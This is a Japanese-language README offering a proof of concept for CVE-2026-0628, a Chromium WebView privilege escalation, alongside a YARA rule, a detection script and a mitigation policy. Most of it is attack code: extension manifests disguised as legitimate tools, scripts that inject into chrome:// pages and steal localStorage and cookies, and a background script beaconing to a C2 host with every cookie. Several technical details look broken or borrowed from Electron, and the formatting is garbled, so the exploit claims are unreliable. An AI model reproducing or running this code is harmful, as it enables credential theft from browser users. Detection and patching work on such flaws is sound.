README.md
# **CVE-2026-0628: Chromium WebView 権限昇格（オリジン偽装）– 技術調査 & 概念実証**
**著者:** Sastra Adi Wiguna (Purple Elite Teaming)
**調査日:** 2026年1月
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (High)
**影響を受けるバージョン:** Chromium < 143.0.7499.192
**パッチ状況:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 で修正済み
---
## **1. 概要**
### **1.1 調査目的**
このリポジトリは、Chromium の WebView ポリシー強制メカニズムにおける**高深刻度の権限昇格脆弱性**である **CVE-2026-0628** を文書化したものです。この脆弱性により、悪意のある拡張機能が**サンドボックス制限をバイパス**し、**特権コンテキスト**（例: `chrome://`）にスクリプトを注入し、任意のコードを実行するための**権限を昇格**させることが可能になります。
この調査は、以下のような**防御セキュリティ目的専用**です:
- **脆弱性分析**
- **検知エンジニアリング**
- **緩和戦略の策定**
- **ペネトレーションテスト（認可された環境のみ）**
### **1.2 免責事項**
- **学術的および防御的な調査専用です。**
- **許可なく本番システムに対して使用しないでください。**
- **適用されるすべての法律および組織のセキュリティポリシーを遵守してください。**
- **直ちにパッチを適用してください:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。
---
## **2. 技術的詳細**
### **2.1 根本原因**
Chromium の WebView 実装における**不十分なポリシー強制**により、拡張機能が**サンドボックス境界をエスケープ**し、**特権 DOM コンテキスト**にアクセスできるようになります。
**脆弱なフロー:**
1. 悪意のある拡張機能が `manifest.json` で WebView の使用を宣言します。
2. 拡張機能が `<webview>` タグを介して細工された HTML/JS ペイロードを注入します。
3. **WebView ポリシー検証のバイパス** → 特権ページ（例: `chrome://settings`）へのアクセス。
4. 特権コンテキストでの**任意のスクリプト実行**。
**CVSS ベクター:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
### **2.2 エクスプロイトアーキテクチャ**
#### **悪意のある拡張機能テンプレート**
```json
{
"manifest_version": 3,
"name": "Legitimate Extension",
"version": "1.0",
"webview": {
"src": "chrome://new-tab-page/",
"plugins": {}
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["payload.js"]
}]
}
payload.js)class WebViewExploiter {
constructor() {
this.privilegedTargets = [
'chrome://new-tab-page/',
'chrome-extension://background/',
'chrome://settings/'
];
}
injectPayload(targetURL) {
const webview = document.createElement('webview');
webview.setAttribute('src', targetURL);
webview.setAttribute('nodeintegration', ''); // 主要なバイパスパラメータ
webview.addEventListener('dom-ready', () => {
webview.executeScript({
code: `
window.chrome = window.chrome || {};
chrome.runtime.sendMessage({action: 'steal_data'});
document.body.innerHTML = '';
`
});
});
document.body.appendChild(webview);
}
}
| 攻撃フェーズ | 技術的影響 | ビジネス影響 | CVSS メトリクス |
|---|---|---|---|
| 拡張機能のインストール | ユーザーの同意 → 永続性 | ソーシャルエンジニアリングベクター | UI:R (Required) |
| WebView バイパス | サンドボックスエスケープ → 特権コンテキスト | セッションハイジャック | S:U → C:H/I:H/A:H |
| スクリプト注入 | DOM 操作 → データ流出 | 認証情報の窃取 | PR:N (No Privs) |
| 永続性 | バックグラウンドスクリプト → C2 ビーコン | ラテラルムーブメントの準備 | AC:L (Low Complexity) |
rule CVE_2026_0628_WebView_Exploiter {
meta:
description = "Detects CVE-2026-0628 WebView exploit patterns"
severity = "high"
strings:
$webview_abuse = "webview.*(nodeintegration|allowpopups)"
$chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
$inject_sig = /(executeScript|getURL|sendMessage)/
condition:
all of ($*) and filesize < 500KB
}
chrome.exe → 不審な WebView の作成。HKCU\Software\Google\Chrome\Extensions\[malicious_id]。// 脆弱なバージョン (pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
return false; // 脆弱なポリシーチェック
}
// 修正版
function validateWebViewPolicy(webview) {
if (!isExtensionTrusted(webview.extensionId)) {
throw new SecurityError('Extension not privileged');
}
if (webview.attributes.includes('nodeintegration')) {
enforceStrictCSP(); // Content-Security-Policy の強化
}
}
{
"ExtensionInstallBlacklist": ["malicious_extension_id*"],
"ExtensionInstallForcelist": [],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
$extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $extPath | Where {
(Get-Content "$_\manifest.json" | Select-String "webview") -and
(Get-Content "$_\manifest.json" | Select-String "chrome://")
}
}
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html
manifest.json (バイパスマニフェスト){
"manifest_version": 3,
"name": "WebView Helper Tool",
"version": "1.0",
"permissions": ["activeTab", "storage", "tabs"],
"host_permissions": ["<all_urls>", "chrome://*/*"],
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}],
"action": {
"default_popup": "popup.html"
},
"web_accessible_resources": [{
"resources": ["inject.js"],
"matches": ["<all_urls>"]
}]
}
background.js (永続性 & C2 ビーコン)chrome.runtime.onInstalled.addListener(() => {
console.log('CVE-2026-0628 PoC Installed');
setTimeout(initExploitation, 5000);
});
async function initExploitation() {
fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
method: 'POST',
body: JSON.stringify({
victim: navigator.userAgent,
cookies: await getAllCookies()
})
}).catch(() => {});
chrome.tabs.onUpdated.addListener(exploitTab);
}
content.js (WebView トリガー & 注入)(function() {
const privilegedTargets = [
'chrome://new-tab-page/',
'chrome://settings/',
'chrome://extensions/'
];
function createMaliciousWebView(target) {
const webview = document.createElement('webview');
webview.setAttribute('src', target);
webview.setAttribute('allowpopups', '');
webview.addEventListener('dom-ready', () => {
chrome.scripting.executeScript({
target: {tabId: getCurrentTabId()},
func: stealPrivilegedData
});
});
document.body.appendChild(webview);
}
function stealPrivilegedData() {
return {
localStorage: Object.fromEntries(Object.entries(localStorage)),
cookies: document.cookie,
extensions: chrome.runtime.getManifest?.()
};
}
setTimeout(() => {
createMaliciousWebView('chrome://new-tab-page/');
}, 1000);
})();